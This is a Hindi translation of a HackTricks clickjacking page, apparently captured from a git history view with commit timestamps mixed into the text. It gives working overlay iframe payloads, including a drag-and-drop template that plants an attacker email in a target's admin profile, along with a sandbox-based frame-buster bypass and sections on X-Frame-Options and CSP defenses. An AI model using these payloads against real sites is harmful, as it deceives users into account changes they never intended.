hacktricks/pentesting-web/clickjacking.md

224 lines
20 KiB
Markdown
Raw Normal View History

# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मेरा** ट्विटर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करें और **दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित** **वर्कफ़्लो** को आसानी से बनाएं और स्वचालित करें।\
आज ही पहुंचें:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## Clickjacking क्या है
एक clickjacking हमले में, एक **उपयोगकर्ता** को धोखा देकर **वेबपेज पर किसी तत्व** पर **क्लिक करने** के लिए प्रेरित किया जाता है जो या तो **अदृश्य** होता है या एक विभिन्न तत्व के रूप में छलकर दिखाई देता है। यह मानिपुलेशन उपयोगकर्ता के लिए अनजाने परिणामों में ले जा सकता है, जैसे कि मैलवेयर का डाउनलोड, दुर्भाग्यपूर्ण वेब पेज पर पुनर्निर्देशन, प्रमाण-पत्र या संएजनीय जानकारी की प्रदान, धन की हस्तांतरण, या ऑनलाइन उत्पादों की खरीदारी।
### पूर्व-पूर्वनिर्धारित फॉर्म ट्रिक
2020-10-13 11:29:54 +00:00
कभी-कभी **एक पृष्ठ को लोड करते समय GET पैरामीटर का उपयोग करके एक फॉर्म के क्षेत्रों के मान को भरना संभव** होता है। एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है और एक फॉर्म को विचारहीन डेटा से भरने और उपयोगकर्ता को बटन सबमिट दबाने के लिए clickjacking पेलोड भेज सकता है।
2020-10-13 11:29:54 +00:00
### Drag\&Drop के साथ फॉर्म भरें
यदि आप उपयोगकर्ता से **एक फॉर्म भरने** की आवश्यकता है लेकिन आप उससे सीधे कुछ विशिष्ट जानकारी लिखने के लिए पूछना नहीं चाहते हैं (जैसे कि ईमेल और या विशिष्ट पासवर्ड), तो आप उससे केवल कुछ ऐसा करने के लिए कह सकते हैं कि वह आपके नियंत्रित डेटा को लिखेगा जैसे [**इस उदाहरण**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) में।
### मूल पेलोड
```markup
<style>
2023-11-06 08:38:02 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### बहुकदम पेयलोड
```markup
<style>
2023-11-06 08:38:02 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### ड्रैग\&ड्रॉप + क्लिक पेलोड
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
यदि आपने एक **XSS हमला पहचाना है जिसके लिए उपयोगकर्ता को किसी तत्व पर क्लिक करना आवश्यक है** ताकि XSS को **ट्रिगर** किया जा सके और पृष्ठ **Clickjacking के लिए संवेदनशील है**, तो आप इसका दुरुपयोग करके उपयोगकर्ता को बटन/लिंक पर क्लिक करने में धोखा दे सकते हैं।\
2023-11-06 08:38:02 +00:00
उदाहरण:\
_आपने खाते के कुछ निजी विवरणों में **स्वयं XSS** पाया है (विवरण जो **केवल आप सेट और पढ़ सकते हैं**). इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **Clickjacking** के लिए **विकल्प** है और आप GET पैरामीटर्स के साथ **फॉर्म** को **पूर्व-पूर्ण** कर सकते हैं._\
\_\_एक हमलावर उस पृष्ठ के लिए एक **Clickjacking** हमला तैयार कर सकता है जिसमें **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-पूर्ण** किया जा सकता है और **उपयोगकर्ता** को **फॉर्म** को **सबमिट** करने में **धोखा देने** में सक्षम हो सकता है। इसलिए, **जब फॉर्म सबमिट किया जाता है** और मान्यताएँ संशोधित होती हैं, तो **उपयोगकर्ता XSS को निष्पादित करेगा**
## Clickjacking को न्यायाधिकरण करने के लिए रणनीतियाँ
### क्लाइंट-साइड सुरक्षा
क्लाइंट साइड पर निष्पादित स्क्रिप्ट क्लिकजैकिंग को रोकने के लिए कार्रवाई कर सकते हैं:
* सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है।
* सभी फ्रेम दृश्यमान बनाना।
* अदृश्य फ्रेम पर क्लिकों को रोकना।
* क्लिकजैकिंग के प्रयासों को पहचानना और उपयोगकर्ताओं को चेतान करना।
हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्ट ऊंचा कर सकते हैं:
* **ब्राउज़र्स की सुरक्षा सेटिंग्स:** कुछ ब्राउज़र्स इन स्क्रिप्ट्स को अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर ब्लॉक कर सकते हैं।
* **HTML5 iframe `sandbox` विशेषता:** एक हमलावर `sandbox` विशेषता को `allow-forms` या `allow-scripts` मानों के साथ सेट करके फ्रेम बस्टर स्क्रिप्ट को निष्क्रिय कर सकता है बिना `allow-top-navigation` के। यह फ्रेम को यह सत्यापित करने से रोकता है कि यह शीर्ष विंडो है, उदाहरण के लिए,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### सर्वर-साइड रक्षा
#### X-Frame-Options
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** ब्राउज़र को `<frame>` या `<iframe>` में पृष्ठ को प्रदर्शित करने की जायज़त के बारे में सूचित करता है, Clickjacking को रोकने में मदद करता है:
- `X-Frame-Options: deny` - कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।
- `X-Frame-Options: sameorigin` - केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।
- `X-Frame-Options: allow-from https://trusted.com` - केवल निर्दिष्ट 'यूआरआई' साइट को पृष्ठ फ्रेम कर सकती है।
- ध्यान दें: यदि ब्राउज़र इस निर्देशिका का समर्थन नहीं करता है, तो यह काम नहीं कर सकता है। कुछ ब्राउज़र CSP frame-ancestors निर्देशिका को अधिक पसंद करते हैं।
#### Content Security Policy (CSP) frame-ancestors निर्देशिका
**CSP में `frame-ancestors` निर्देशिका** Clickjacking सुरक्षा के लिए सिफारिश की जाने वाली विधि है:
- `frame-ancestors 'none'` - `X-Frame-Options: deny` के समान।
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` के समान।
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` के समान।
उदाहरण के लिए, निम्नलिखित CSP केवल एक ही डोमेन से फ्रेमिंग की अनुमति देता है:
`Content-Security-Policy: frame-ancestors 'self';`
अधिक विवरण और जटिल उदाहरण [frame-ancestors CSP दस्तावेज़ीकरण](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) और [Mozilla का CSP frame-ancestors दस्तावेज़ीकरण](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) में मिल सकते हैं।
### Content Security Policy (CSP) के साथ `child-src` और `frame-src`
**Content Security Policy (CSP)** एक सुरक्षा उपाय है जो Clickjacking और अन्य कोड प्रविष्टि हमलों को रोकने में मदद करता है जिसमें यह निर्दिष्ट करता है कि ब्राउज़र को कौन से स्रोतों को सामग्री लोड करने की अनुमति देनी चाहिए।
#### `frame-src` निर्देशिका
- फ्रेम के लिए वैध स्रोतों को परिभाषित करता है।
- `default-src` निर्देशिका से अधिक विशेष।
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
यह नीति समान मूल (self) और https://trusted-website.com से फ्रेम की अनुमति देती है।
#### `child-src` निर्देशिका
- वेब वर्कर्स और फ्रेम के लिए वैध स्रोत सेट करने के लिए सीएसपी स्तर 2 में पेश किया गया।
- frame-src और worker-src के लिए एक फॉलबैक के रूप में काम करता है।
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
यह नीति फ्रेम्स और वर्कर्स को एक ही मूल (स्वयं) और https://trusted-website.com से अनुमति देती है।
**उपयोग नोट:**
- पुराना हो रहा है: child-src को frame-src और worker-src की ओर बढ़ावा देने के लिए बाहर किया जा रहा है।
- प्रतिसाधन व्यवहार: यदि frame-src अनुपस्थित है, तो फ्रेम्स के लिए फॉलबैक के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
- सख्त स्रोत परिभाषण: शोषण को रोकने के लिए निर्देशों में केवल विश्वसनीय स्रोतों को शामिल करें।
#### जावास्क्रिप्ट फ्रेम-ब्रेकिंग स्क्रिप्ट
हालांकि पूरी तरह से अटकने वाला नहीं है, जावास्क्रिप्ट आधारित फ्रेम-ब्रेकिंग स्क्रिप्ट का उपयोग किया जा सकता है जिससे एक वेब पृष्ठ को फ्रेम किया जाने से रोका जा सकता है। उदाहरण:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### एंटी-सीएसआरएफ टोकन का उपयोग करना
* **टोकन मान्यता:** वेब एप्लिकेशन में एंटी-सीएसआरएफ टोकन का उपयोग करें ताकि यह सुनिश्चित हो सके कि राज्य-परिवर्तन वाले अनुरोध उपयोगकर्ता द्वारा इच्छापूर्वक किए जाते हैं और न कि क्लिकजैक्ड पृष्ठ के माध्यम से।
2023-11-06 08:38:02 +00:00
## संदर्भ
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें और **दुनिया के सबसे उन्नत समुदाय उपकरणों** द्वारा संचालित **कार्यप्रणालियों** को आसानी से निर्मित और स्वचालित करें।\
आज ही पहुंचें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, हमारा संग्रह खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में पीआर जमा करके अपने हैकिंग ट्रिक्स साझा करें।
</details>